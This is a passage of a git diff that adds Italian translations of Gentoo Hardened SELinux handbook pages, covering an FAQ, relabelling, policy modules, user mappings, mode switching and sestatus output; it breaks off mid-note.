+impostando una variabile globale booleana di SELinux
+</p>
+<pre caption="SELinux global_ssp">
+ <i>setsebool -P global_ssp on</i>
+</pre>
+
+<note>
+Ci si assicuri di utilizzare il parametro -P, altrimenti l'impostazione avrà
+effetto solamente per la sessione corrente ma verrà persa al primo riavvio:
+una serie di errori relativi a /dev/null e /dev/random saranno un sinonimo
+di questo errore.
+</note>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Riavvio finale</title>
+<subsection>
+<body>
+
+<p>
+Riavviare. A questo punto accedere al sistema ed etichettare nuovamente tutti i
+file, in modo da essere sicuri di aver correttamente etichettato tutto il
+filesystem (alcuni file potrebbero essere stati creati durante il recedente
+riavvio).
+</p>
+
+<pre caption="Etichettare nuovamente">
+# <i>rlpkg -a -r</i>
+</pre>
+
+<note>
+È caldamente raccomandato <uri link="http://www.gentoo.org/main/it/lists.xml">
+iscriversi</uri> alla mailing list gentoo-hardened. Solitamente è una lista a
+basso traffico riguardante la versione sicura di Gentoo (hardened, appunto), e
+comprende anche SELinux.
+</note>
+
+<p>
+A questo punto SELinux è installato!
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/hardened/selinux/hb-selinux-faq.xml b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-faq.xml
new file mode 100644
index 00000000..2cc5b62f
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-faq.xml
@@ -0,0 +1,215 @@
+<?xml version='1.0' encoding="utf-8"?>

+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">

+

+<!-- The content of this document is licensed under the CC-BY-SA license -->

+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->

+

+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/selinux/hb-selinux-faq.xml,v 1.1 2007/08/21 07:00:07 scen Exp $ -->

+

+<sections>

+<version>1.3</version>

+<date>2006-05-01</date>

+

+<section>

+<title>Caratteristiche di SELinux</title>

+<subsection>

+<title>SELinux rinforza le limitazioni sulle risorse?</title>

+<body>

+

+<p>

+No, i limiti sulle risorse sono all'esterno della visibilità del sistema di

+controllo degli accessi. Se si è alla ricerca di un controllo di questo tipo,

+GRSecurity e RSBAC sono scelte migliori.

+</p>

+

+</body>

+</subsection>

+</section>

+

+<section>

+<title>SELinux e gli altri progetti "hardened"</title>

+<subsection>

+<title>E' possibile utilizzare SELinux con GRSecurity (e PaX)?</title>

+<body>

+

+<p>

+Si, SELinux può convivere con GRSecurity e/o PaX senza nessun problema;

+comunque, non è consigliabile utilizzare GRACL, in quanto sarebbe ridondante con

+il controllo degli accessi di SELinux.

+</p>

+

+</body>

+</subsection>

+<subsection>

+<title>E' possibile utilizzare SELinux con il compilatore sicuro

+(PIE-SSP)?</title>

+<body>

+

+<p>

+Si. E' anche consigliabile che venga utilizzato PaX per ottenere il massimo

+vantaggio dalle caratteristiche PIE del compilatore.

+</p>

+

+</body>

+</subsection>

+<subsection>

+<title>E' possibile utilizzare SELinux con RSBAC?</title>

+<body>

+

+<p>

+Non esistono casi certificati. Si prega di rendere noti eventuali risultati di

+queste combinazioni.

+</p>

+

+</body>

+</subsection>

+</section>

+

+<section>

+<title>SELinux e i filesystem</title>

+<subsection>

+<title>E' possibile utilizzare SELinux con i principali filesystem?</title>

+<body>

+

+<p>

+SELinux supporta ext2, ext3, JFS e XFS. Reiserfs (Reiser3) gestisce gli

+attributi estesi, ma il supporto completo non è mai stato ultimato, ed è stato

+bacato fino al kernel 2.6.14. Reiser4 non è supportato.

+</p>

+

+</body>

+</subsection>

+<subsection>

+<title>E' possibile utilizzare SELinux con filesystem ausiliari?</title>

+<body>

+

+<p>

+Sì, SELinux è in grado di montare filesystem ausiliari, come per esempio vfat

+e iso9660, con un importante avvertimento: tutti i file in ogni filesystem

+avranno lo stesso tipo di SELinux, dal momento che i filesystem non supportano

+gli attributi estesi. Tmpfs è l'unico filesystem dipendente dotato di supporto

+esteso completo, cosa che gli permette di comportarsi come un filesystem

+primario.

+</p>

+

+</body>

+</subsection>

+<subsection>

+<title>E' possibile utilizzare SELinux con i filesystem di rete?</title>

+<body>

+

+<p>

+Si, SELinux è in grado di montare filesystem di rete, come NFS e CIFS, con un

+importante avvertimento: tutti i file in ogni filesystem avranno lo stesso tipo

+di SELinux, dal momento che i filesystem non supportano gli attributi estesi. In

+futuro, si spera che i filesystem di rete comincino a supportare gli attributi

+estesi, e quindi potranno lavorare come filesystem primari.

+</p>

+

+</body>

+</subsection>

+</section>

+

+<section>

+<title>Messaggi di errore di portage</title>

+<subsection>

+<title>Utilizzando emerge viene restituito un messaggio di errore riguardante la

+mancanza il modulo di SELinux del tipo:</title>

+<body>

+

+<pre caption="Portage message">

+!!! SELinux module not found. Please verify that it was installed.

+</pre>

+

+<p>

+Questo messaggio indica che il modulo SELinux non è presente o risulta

+danneggiato. Potrebbe essere anche accaduto che python sia stato aggiornato ad

+una nuova versione che richiede che venga ricompilato python-selinux. Effettuare

+nuovamente l'emerge di dev-python/python-selinux. Per i pacchetti installati in

+questa condizione, occorre etichettarli nuovamente dopo aver corretto l'errore.

+Se i pacchetti che hanno bisogno di essere reinstallati non possono essere

+determinati, si rende necessaria una ri-etichettatura dell'intero filesystem.

+</p>

+

+</body>

+</subsection>

+</section>

+

+<section>

+<title>Messaggi di errore del kernel riguardanti SELinux</title>

+<subsection>

+<title>Durante l'avvio appare un messaggio di errore

+"register_security":</title>

+<body>

+

+<pre caption="Messaggio del kernel">

+There is already a security framework initialized, register_security failed.

+Failure registering capabilities with the kernel

+selinux_register_security:  Registering secondary module capability

+Capability LSM initialized

+</pre>

+

+<p>

+Questo messaggio indica che il modulo "Capability LSM" non può venire registrato

+come modulo primario, dal momento che risulta essere SELinux il primario. Il

+terzo messaggio indica che verrà registrato come modulo secondario di SELinux.

+E' assolutamente normale.

+</p>

+

+</body>

+</subsection>

+</section>

+

+<section>

+<title>Messaggi di errore di Setfiles</title>

+<subsection>

+<title>Quando viene ripetuta l'etichettatura, il processo fallisce per contesto

+invalido:</title>

+<body>

+

+<pre caption="Esempio di contesto invalido">

+# make relabel

+/usr/sbin/setfiles file_contexts/file_contexts `mount | awk '/(ext[23]| xfs).*rw/{print $3}'`

+/usr/sbin/setfiles:  read 559 specifications

+/usr/sbin/setfiles:  invalid context system_u:object_r:default_t on line number 39

+/usr/sbin/setfiles:  invalid context system_u:object_r:urandom_device_t on line number 120

+/usr/sbin/setfiles:  invalid context system_u:object_r:fonts_t on line number 377

+/usr/sbin/setfiles:  invalid context system_u:object_r:fonts_t on line number 378

+/usr/sbin/setfiles:  invalid context system_u:object_r:krb5_conf_t on line number 445

+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 478

+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 479

+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 492

+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 493

+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 494

+Exiting after 10 errors.

+make: *** [relabel] Error 1

+</pre>

+

+<p>

+Anzitutto occorre assicurarsi che /selinux sia montato: in caso contrario,

+setfiles non può convalidare nessun contesto, portando SELinux a credere che

+nessun contesto sia valido. Se /selinux è montato, molto probabilmente è

+presente una nuova politica che non è ancora stata caricata; di conseguenza, non

+è ancora stato marcato valido nessun contesto.

+</p>

+

+</body>

+</subsection>

+</section>

+

+

+<!-- always keep this one as the bottom FAQ :) -->

+<!-- comment out since the demo machine is down for an indefinite period of time

+<section><title>Gentoo SELinux Demonstration Machine</title>

+<subsection><body>

+<p>

+  This machine is not running user-mode linux, or in a chroot, it has SELinux

+  mandatory access control.  No, you cannot install psybnc or an irc bot on the

+  machine, unless you break the SELinux security and gain higher priviledge.

+</p>

+</body></subsection>

+</section>

+-->

+<!-- dont put anything below here, this demo machine faq should be the last one -->

+

+</sections>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/hardened/selinux/hb-selinux-howto.xml b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-howto.xml
new file mode 100644
index 00000000..3627e6aa
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-howto.xml
@@ -0,0 +1,341 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/selinux/hb-selinux-howto.xml,v 1.2 2008/06/04 19:34:39 scen Exp $ -->
+
+<sections>
+<version>2.0</version>
+<date>2006-10-14</date>
+
+<section>
+<title>Caricare le politiche in un kernel SELinux in uso</title>
+<subsection>
+<body>
+
+<p>
+Questa operazione richiede di appartenere al ruolo <c>sysadm_r</c>.
+</p>
+
+<pre caption="Il comando Semodule">
+# <i>semodule -B</i>
+</pre>
+
+</body>
+</subsection>
+
+</section>
+
+<section>
+<title>Cambiare ruolo</title>
+<subsection>
+<body>
+
+<p>
+La seguente operazione richiede che l'utente possa accedere al ruolo di
+destinazione. Questo esempio descrive come elevarsi al ruolo <c>sysadm_r</c>.
+</p>
+
+<pre caption="Newrole">
+# <i>newrole -r sysadm_r</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Elencare i ruoli disponibili per un utente</title>
+<subsection>
+<body>
+
+<p>
+Esiste una corrispondenza tra gli utenti di linux e le identità di SELinux. Le
+politiche utilizzano gli utenti generici di SELinux per configurazioni rilevanti
+sui ruoli; per esempio, per mettere in corrispondenza l'utente <c>pebenito</c>
+all'identità di SELinux <c>staff_u</c>, eseguire:
+</p>
+
+<pre caption="Mappare pebenito a staff_u">
+# <i>semanage login -a -s staff_u pebenito</i>
+</pre>
+
+<p>
+Questa politica non ha bisogno di venire ricaricata: se l'utente è connesso, è
+necessario che ripeta il processo di autenticazione affinchè la nuova politica
+abbia effetto.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Etichettare nuovamente il filesystem</title>
+<subsection>
+<body>
+
+<p>
+Questa operazione richiede di appartenere al ruolo <c>sysadm_r</c>.
+</p>
+
+<pre caption="Rietichettare">
+# <i>rlpkg -a</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Etichettare nuovamente un singolo pacchetto</title>
+<subsection>
+<body>
+
+<p>
+Oltre alla possibilità di rietichettare l'intero filesystem, è possibile
+limitare il comando solamente ad un pacchetto di portage. Questa operazione
+richiede di appartenere al ruolo <c>sysadm_r</c>.
+</p>
+
+<pre caption="Esempio su rlpkg">
+# <i>rlpkg shadow sash</i>
+</pre>
+
+<p>
+Viene utilizzato lo script rlpkg, che può ricevere come parametro un numero
+arbitrario di pacchetti.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Ricerca di librerie con riallocazione dei testi</title>
+<subsection>
+<body>
+
+<p>
+SELinux fornisce diversi meccanismi di protezione per la memoria. Una funzione
+supportata permette la riallocazione dei testi ELF: una libreria di questo tipo
+ha una etichetta speciale, ed lo strumento <c>rlpkg</c> è dotato di una opzione
+per effettuarne la ricerca.
+</p>
+
+<pre caption="Ricerca di TEXTREL">
+# <i>rlpkg -t</i>
+</pre>
+
+<p>
+Questa operazione verrà ripetuta automaticamente ad ogni nuova etichettatura.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Avviare i demoni nel dominio corretto</title>
+<subsection>
+<body>
+
+<p>
+Controllare i demoni che vengono avviati tramite script di inizializzazione
+nella cartella /etc/init.d è leggermente differente in SELinux. Per assicurarsi
+che vengano avviati nel dominio corretto, occorre sempre utilizzare il comando
+<c>run_init</c>. Lo script di inizializzazione può venire eseguito normalmente,
+facendolo precedere dal comando <c>run_init</c>. Questo richiede di appartenere
+al ruolo <c>sysadm_r</c>.
+</p>
+
+<pre caption="Esempi di run_init">
+# <i>run_init /etc/init.d/ntpd start</i>
+# <i>run_init /etc/init.d/apache2 restart</i>
+# <i>run_init /etc/init.d/named stop</i>
+</pre>
+
+</body>
+</subsection>
+
+<subsection>
+<title>L'integrazione di Gentoo con run_init</title>
+<body>
+
+<p>
+Il comando <c>run_init</c> è stato integrato all'interno degli script di
+inizializzazione del sistema di Gentoo. Con SELinux installato, i servizi
+possono venire avviati ed interrotti normalmente, ma inoltre adesso autenticano
+l'utente.
+</p>
+
+<pre caption="Esempio di run_init integrato">
+# <i>/etc/init.d/sshd restart</i>
+Authenticating root.
+Password:
+ * Stopping sshd...                       [ ok ]
+ * Starting sshd...                       [ ok ]
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Passare dal modo permissivo al modo rinforzato e viceversa</title>
+<subsection>
+<body>
+
+<p>
+Il passaggio tra i due modi in SELinux è molto semplice: occorre solamente 
+scrivere 1 per impostare il modo rinforzato (oppure 0 per quello permissivo)
+all'interno del file /selinux/enforce. Il modo in uso può venire individuato
+leggendo il file sopracitato: 0 identifica il modo permissivo, 1 quello
+rinforzato. Se l'opzione del kernel "NSA SELinux Development Support" non è
+stata impostata, il sistema si troverà sempre nel modo rinforzato, e non sarà
+possibile spostarsi nel modo permissivo.
+</p>
+
+<pre caption="">
+<comment>Individuare il modo corrente</comment>
+# <i>cat /selinux/enforce</i>
+<comment>Passare al modo rinforzato</comment>
+# <i>echo 1 > /selinux/enforce</i>
+<comment>Passare al modo permissivo</comment>
+# <i>echo 0 > /selinux/enforce</i>
+</pre>
+
+<p>
+Una macchina con l'opzione per il supporto allo sviluppo abilitato, può venire
+avviata nel modo rinforzato solamente aggiungendo <c>enforcing=1</c> alla linea
+di comando del kernel all'interno del boot loader (GRUB, LiLo, etc).
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Politiche gestite</title>
+<body>
+
+<p>
+In aggiunta alle opzioni del kernel descritte precedentemente, il modo può
+venire impostato all'avvio del sistema modificando il file
+<c>/etc/selinux/config</c>.
+</p>
+
+<pre caption="/etc/selinux/config">
+# SELINUX can take one of these three values:
+#       enforcing - SELinux security policy is enforced.
+#       permissive - SELinux prints warnings instead of enforcing.
+#       disabled - No SELinux policy is loaded.
+SELINUX=<comment>permissive</comment>
+</pre>
+
+<p>
+Le impostazioni di questo file saranno sovrascritte dalle opzioni a linea di
+comando del kernel descritte precedentemente.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Interpretare l'output di sestatus</title>
+<subsection>
+<body>
+
+<p>
+Per ottenere informazioni dettagliate di SELinux riguardo allo stato del sistema
+si può fare riferimento all'utility <c>sestatus</c>. L'opzione <c>-v</c>
+fornisce dettagli maggiori sul contesto di processi e file. Affinchè Sestatus
+fornisca informazioni complete, occorre essersi autenticati come utente root
+(oppure esserlo diventati tramite su/sudo), nel ruolo <c>sysadm_r</c>. Il
+risultato verrà diviso in quattro sezioni:
+</p>
+
+<pre caption="Esempio di stato">
+SELinux status:         enabled
+SELinuxfs mount:        /selinux
+Current mode:           enforcing
+Policy version:         18
+</pre>
+
+<p>
+Nella prima sezione vengono fornite informazioni riguardanti lo stato
+principale: la prima linea mostra se il kernel SELinux è presente ed è
+abilitato. Se risulta disabilitato, o il kernel non è stato compilato con il
+supporto ad SELinux, oppure la politica non è stata caricata. La seconda voce
+mostra il mount point per il filesystem di SELinux. Durante un normale utilizzo,
+il filesystem dovrebbe essere montato nella cartella di default <c>/selinux</c>.
+La terza linea mostra il modo di SELinux correntemente in uso, rinforzo oppure
+permissivo. La quarta voce mostra la versione del database delle politiche
+supportata dal kernel attualmente in uso.
+</p>
+
+<pre caption="Esempio di booleani">
+Policy booleans:
+secure_mode             inactive
+ssh_sysadm_login        inactive
+user_ping               inactive
+</pre>
+
+<p>
+La seconda sezione mostra lo stato delle variabili booleane delle politiche
+condizionali. Nella colonna di sinistra vengono mostrati i nomi delle variabili,
+mentre in quella di destra il loro stato (attivo o inattivo). Questa sezione non
+viene mostrata nei kernel con politiche di versione antecedenti alla 15, in
+quanto non supportano le politiche condizionali.
+</p>
+
+<pre caption="Esempio di contesti dei processi">
+Process contexts:
+Current context:        pebenito:sysadm_r:sysadm_t
+Init context:           system_u:system_r:init_t
+/sbin/agetty            system_u:system_r:getty_t
+/usr/sbin/sshd          system_u:system_r:sshd_t
+</pre>
+
+<p>
+La terza sezione riguarda i contesti dei processi correnti, e le loro numerose
+chiavi. Se un processo non sta venendo eseguito nel contesto corretto,
+semplicemente non funzionerà correttamente.
+</p>
+
+<pre caption="Esempio di contesti dei file">
+File contexts:
+Controlling term:       pebenito:object_r:sysadm_devpts_t
+/sbin/init              system_u:object_r:init_exec_t
+/sbin/agetty            system_u:object_r:getty_exec_t
+/bin/login              system_u:object_r:login_exec_t
+/sbin/rc                system_u:object_r:initrc_exec_t
+/sbin/runscript.sh      system_u:object_r:initrc_exec_t
+/usr/sbin/sshd          system_u:object_r:sshd_exec_t
+/sbin/unix_chkpwd       system_u:object_r:chkpwd_exec_t
+/etc/passwd             system_u:object_r:etc_t
+/etc/shadow             system_u:object_r:shadow_t
+/bin/sh                 system_u:object_r:bin_t -> system_u:object_r:shell_exec_t
+/bin/bash               system_u:object_r:shell_exec_t
+/bin/sash               system_u:object_r:shell_exec_t
+/usr/bin/newrole        system_u:object_r:newrole_exec_t
+/lib/libc.so.6          system_u:object_r:lib_t -> system_u:object_r:shlib_t
+/lib/ld-linux.so.2      system_u:object_r:lib_t -> system_u:object_r:shlib_t
+</pre>
+
+<p>
+La quarta sezione mostra i contesti dei file controllati dai processi correnti,
+e le loro numerose chiavi. Per quanto riguarda i collegamenti simbolici, viene
+mostrato sia il contesto del collegamento che quello dell'oggetto riferito. Se
+ad un file è stato assegnato un contesto non corretto, può risultare
+inaccessibile o ottenere permessi non corretti per colpa di un particolare
+processo.
+</p>
+
+</body>
+</subsection>
+</section>
+
+</sections>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/hardened/selinux/hb-selinux-initpol.xml b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-initpol.xml
new file mode 100644
index 00000000..2fbe81bb
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-initpol.xml
@@ -0,0 +1,65 @@
+<?xml version='1.0' encoding="UTF-8"?>

+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">

+

+<!-- The content of this document is licensed under the CC-BY-SA license -->

+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->

+

+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/selinux/hb-selinux-initpol.xml,v 1.2 2008/06/04 19:37:45 scen Exp $ -->

+

+<sections>

+<version>1.3</version>

+<date>2004-11-16</date>

+

+<section>

+<title>Verificare le politiche disponibili</title>

+<subsection>

+<body>

+

+<p>

+Per effettuare le seguenti operazioni occorre appartenere al ruolo

+<c>sysadm_r</c>.

+</p>

+

+<p>

+Una politica binaria dovrebbe essere disponibile nella cartella

+/etc/selinux/{strict,targeted}/policy. Nel caso in cui non sia presente, occorre

+installare una politica.

+</p>

+

+<pre caption="Installare una politica">

+# <i>semodule -n -B</i>

+</pre>

+

+</body>

+</subsection>

+</section>

+

+<section>

+<title>Assicurarsi che Init possa caricare la politica</title>

+<subsection>

+<body>

+

+<p>

+L'ultimo controllo necessario consiste nell'assicurarsi che init sia in grado di

+caricare la politica. Eseguire <c>ldd</c> su init, e se viene restituito un

+valore differente da libselinux, emergere nuovamente sysvinit.

+</p>

+

+<pre caption="">

+# <i>ldd /sbin/init</i>

+  linux-gate.so.1 =>  (0xffffe000)

+  <comment>libselinux.so.1 => /lib/libselinux.so.1 (0x40025000)</comment>

+  libc.so.6 => /lib/libc.so.6 (0x40035000)

+  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

+</pre>

+

+<p>

+A questo punto occorre riavviare per fare in modo che init ottenga il contesto

+corretto e carichi la politica.

+</p>

+

+</body>

+</subsection>

+</section>

+

+</sections>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/hardened/selinux/hb-selinux-libsemanage.xml b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-libsemanage.xml
new file mode 100644
index 00000000..5d45e799
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-libsemanage.xml
@@ -0,0 +1,343 @@
+<?xml version='1.0' encoding="utf-8"?>

+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">

+

+<!-- The content of this document is licensed under the CC-BY-SA license -->

+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->

+

+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/selinux/hb-selinux-libsemanage.xml,v 1.1 2007/08/21 07:09:34 scen Exp $ -->

+

+<sections>

+

+<version>1.0</version>

+<date>2006-10-15</date>

+

+<section>

+<title>Infrastruttura di gestione di SELinux</title>

+<subsection>

+<body>

+

+<p>

+L'infrastruttura di gestione di SELinux ricopre numerosi aspetti delle politiche

+di SELinux. Queste applicazioni gestionali sono basate sulle librerie principali

+di libsemanage. Esistono numerosi programmi gestionali per le varie operazioni,

+tra cui <c>semanage</c> e <c>semodule</c>. Questi permettono di configurare

+alcuni aspetti delle poliche senza richiederne i sorgenti.

+</p>

+

+</body>

+</subsection>

+</section>

+

+<section>

+<title>Gestione dei moduli delle politiche di SELinux</title>

+<subsection>

+<title>Cos'è un modulo di una politica?</title>

+<body>

+

+<p>

+SELinux supporta politiche modulari. Questo significa che numerosi parti di una

+politica vengono combinate per costituirne una completa pronta a venire caricata

+nel kernel, secondo una struttura che ricalca quella dei moduli del kernel: è

+presente un'immagine principale del kernel e differenti moduli che possono

+venire aggiunti (a patto che le dipendenze vengano soddisfatte) o rimossi senza

+necessità di riavviare il sistema. In maniera molto simile ogni politica è

+composta da un modulo base e alcuni moduli (se presenti), generati in fase di

+creazione della politica. I moduli vengono creati compilando una parte di

+politica, e viene creato un pacchetto di politica (*.pp) contenete la politica

+compilata ed opzionalmente i contesti dei file.

+</p>

+

+<p>

+Il pacchetto dei moduli della politica base (base.pp) contiene i requisiti

+basilari per le politiche. Tutte le politiche modulari hanno bisogno almeno dei

+moduli base. In Gentoo, vengono messe a disposizione queste politiche per tutte

+le parti del profilo di sistema contenute nell'ebuild selinux-base-policy. Gli

+ebuild delle altre politiche sono composte da uno o più moduli di politica.

+</p>

+

+<p>

+Per ulteriori informazioni riguardo alla scrittura di un modulo di politica, ed

+in particolare su come gestire le proprie personalizzazioni, fare riferimento

+alla <uri link="selinux-handbook.xml?part=3&amp;chap=5">guida alle politiche

+modulari</uri>.

+</p>

+

+</body>

+</subsection>

+<subsection>

+<title>L'archivio dei moduli di SELinux</title>

+<body>

+

+<p>

+Nel momento in cui un modulo di una politica viene inserito o rimosso, viene

+anche copiato o eliminato dall'archivio dei moduli. Questo archivio mantiene una

+copia dei moduli utilizzati per creare la politica correntemente attiva, in

+aggiunta ai numerosi file ausiliari. L'archivio viene salvato nella cartella

+/etc/selinux/{strict,targeted}/modules. Sarebbe opportuno non accedere mai

+direttamente ai contenuti dell'archivio dei moduli: in caso di necessità, si

+dovrebbe utilizzare un'applicazione basata su libsemanage.

+</p>

+

+<p>

+Libsemanage gestisce l'archivio dei moduli per transizioni: questo significa che

+se viene eseguito un insieme di operazioni (una transazione) sull'archivio ma

+una o più operazioni falliscono, l'intera transazione viene abortita. Questo fa

+si che l'archivio sia sempre mantenuto in uno stato consistente.

+</p>

+

+<p>

+La gestione dell'archivio dei moduli viene effettuata tramite il comando

+<c>semodule</c>. Tramite l'opzione <c>-l</c> si ottiene l'elenco dei contenuti

+dell'archivio dei moduli.

+</p>

+

+<pre caption="">

+# semodule -l

+distcc  1.1.1

+</pre>

+

+<p>

+Dal momento che il modulo base è richiesto in tutti i casi, e non ha nessuna

+versione associata, non verrà mostrato nella lista. Tutti gli altri moduli

+verranno elencati, affiancati dalla loro versione.

+</p>

+

+</body>

+</subsection>

+<subsection>

+<title>Inserire un modulo in una politica</title>

+<body>

+

+<p>

+Si dovrebbe fare riferimento al modulo in questione tramite il nome del suo

+file.

+</p>

+

+<pre caption="">

+# <i>semodule -i module.pp</i>

+</pre>

+

+<p>

+Questo comando inserirà il modulo all'interno dell'archivio per la politica

+correntemente configurata, come specificato in /etc/selinux/config. Se

+l'inserimento avviene con successo, la politica verrà caricata, a meno che non

+sia stata utilizzata l'opzione <c>-n</c>. Per inserire il modulo di un altro

+archivio, utilizzare l'opzione <c>-s</c>.

+</p>

+

+<pre caption="">

+# <i>semodule -s archivio -i module.pp</i>

+</pre>

+

+<p>

+Siccome questo comando fa riferimento ad un'archivio alternativo, la politica

+non verrà caricata.

+</p>

+

+</body>

+</subsection>

+<subsection>

+<title>Rimuovere un modulo da una politica</title>

+<body>

+

+<p>

+Si dovrebbe fare riferimento al modulo in questione tramite il suo nome

+all'interno dell'archivio.

+</p>

+

+<pre caption="">

+# <i>semodule -r module</i>

+</pre>

+

+<p>

+Questo comando rimuoverà il modulo dall'archivio per la politica attualmente

+configurata come specificato in /etc/selinux/config. Se la rimozione avviene con

+successo, la politica verrà caricata, a meno che non sia stata utilizzata

+l'opzione <c>-n</c>. L'opzione <c>-s</c> è valida anche per il comando di

+rimozione.

+</p>

+

+</body>

+</subsection>

+</section>

+

+<section>

+<title>Configurare le corrispondenze degli utenti all'autenticazione</title>

+<subsection>

+<body>

+

+<p>

+Il metodo corrente per assegnare un insieme di ruoli ad un utente consiste nel

+configurare una corrispondenza tra gli utenti di linux e le identità di SELinux.

+Nel momento in cui un utente accede al sistema, il programma di autenticazione

+associerà l'identità di SELinux basandosi sulle corrispondenze precedentemente

+configurate. Nel caso in cui non esista una corrispondenza esplicita, viene

+utilizzata quella predefinita (<c>__default__</c>). 

+</p>

+

+<p>

+La gestione delle corrispondenze degli utenti SELinux viene effettuata tramite

+il programma <c>semanage</c>.

+</p>

+

+<pre caption="Mappatura degli utenti SELinux">

+# <i>semanage login -l</i>

+Login Name                SELinux User

+

+__default__               user_u

+root                      root

+</pre>

+

+</body>

+</subsection>

+<subsection>

+<title>Aggiungere la mappatura all'autenticazione di un utente</title>

+<body>

+

+<p>

+Per associare l'utente linux <c>pebenito</c> all'identità di SELinux

+<c>staff_u</c>, utilizzare il comando:

+</p>

+

+<pre caption="">

+# <i>semanage login -a -s staff_u pebenito</i>

+</pre>

+

+<p>

+Per ulteriori informazioni sulle identità di SELinux disponibili, fare

+riferimento a <uri

+link="selinux-handbook.xml?part=3&amp;chap=1#doc_chap3">Panoramica su

+SELinux</uri>.

+</p>

+

+</body>

+</subsection>

+<subsection>

+<title>Rimuovere una mappatura all'autenticazione di un utente</title>

+<body>

+

+<p>

+Per rimuovere l'associazione dell'utente <c>pebenito</c>, utilizzare il comando:

+</p>

+

+<pre caption="">

+# <i>semanage login -d pebenito</i>

+</pre>

+

+<note>

+Le corrispondenze specificate da una politica (e non dall'infrastruttura

+gestionale) non possono essere rimosse.

+</note>

+

+</body>

+</subsection>

+</section>

+

+<section>

+<title>Configurare lo stato iniziale dei valori booleani</title>

+<subsection>

+<body>

+

+<p>

+Il programma <c>setsebool</c> ora fa parte dell'utility libsemanage. La

+principale funzione di questo programma è di impostare lo stato di un booleano.

+Comunque, se la macchina è appena stata riavviata, i booleani verranno impostati

+utilizzando lo stato iniziale specificato nella politica. Per impostare tale

+stato, e fare in modo che venga salvato come stato iniziale della politica,

+utilizzare il comando <c>setsebool</c> con l'opzione <c>-P</c>.

+</p>

+

+<pre caption="Impostare lo stato iniziale di un booleano">

+# <i>setsebool -P fcron_crond 1</i>

+</pre>

+

+<p>

+Questo comando imposterà il booleano fcron_crond a vero (true) e farà in modo

+che diventi il suo stato iniziale.

+</p>

+

+</body>

+</subsection>

+</section>

+

+<section>

+<title>Configurare le identità di SELinux</title>

+<subsection>

+<body>

+

+<p>

+Solitamente non è necessario aggiungere le identità di SELinux alla politica, in

+quanto è sufficiente la mappatura degli utenti all'autenticazione. In ogni caso,

+un motivo per aggiungerle è per aumentarne le leggibilità, dal momento che

+l'identità di SELinux è parte del testo del messaggio di negazione.

+</p>

+

+<p>

+La gestione delle identità di SELinux viene effettuata tramite il comando

+<c>semanage</c>.

+</p>

+

+<pre caption="Elencare le identità di SELinux">

+# <i>semanage user -l</i>

+SELinux User    SELinux Roles

+

+root            sysadm_r staff_r

+staff_u         sysadm_r staff_r

+sysadm_u        sysadm_r

+system_u        system_r

+user_u          user_r

+</pre>

+

+</body>

+</subsection>

+<subsection>

+<title>Aggiungere un'identità di SELinux</title>

+<body>

+

+<p>

+Oltre a specificare i ruoli dell'identità da aggiungere, deve essere specificato

+anche un prefisso. Quest'ultimo dovrebbe corrispondere ad un ruolo, per esempio

+<c>staff</c> o <c>sysadm</c>, e verrà utilizzato come cartella home. Quindi, se

+venisse utilizzato come prefisso <c>staff</c>, gli utenti linux che vengono

+associati a questa identità troveranno le loro home directory marchiate

+<c>staff_home_dir_t</c>.

+</p>

+

+<p>

+Per aggiungere l'identità <c>test_u</c> con ruolo <c>staff_r</c> e

+<c>sysadm_r</c> con prefisso <c>staff</c>, utilizzare:

+</p>

+

+<pre caption="">

+# <i>semanage user -a -R 'staff_r sysadm_r' -P staff test_u</i>

+</pre>

+

+<note>

+Per utilizzare l'identità di SELinux, occorre aggiungere una corrispondenza per

+l'autenticazione dell'utente.

+</note>

+

+</body>

+</subsection>

+<subsection>

+<title>Rimuovere una identità di SELinux</title>

+<body>

+

+<p>

+Per rimuovere l'identità di SELinux <c>test_u</c>, utilizzare:

+</p>

+

+<pre caption="">

+# <i>semanage user -d test_u</i>

+</pre>

+

+<note>

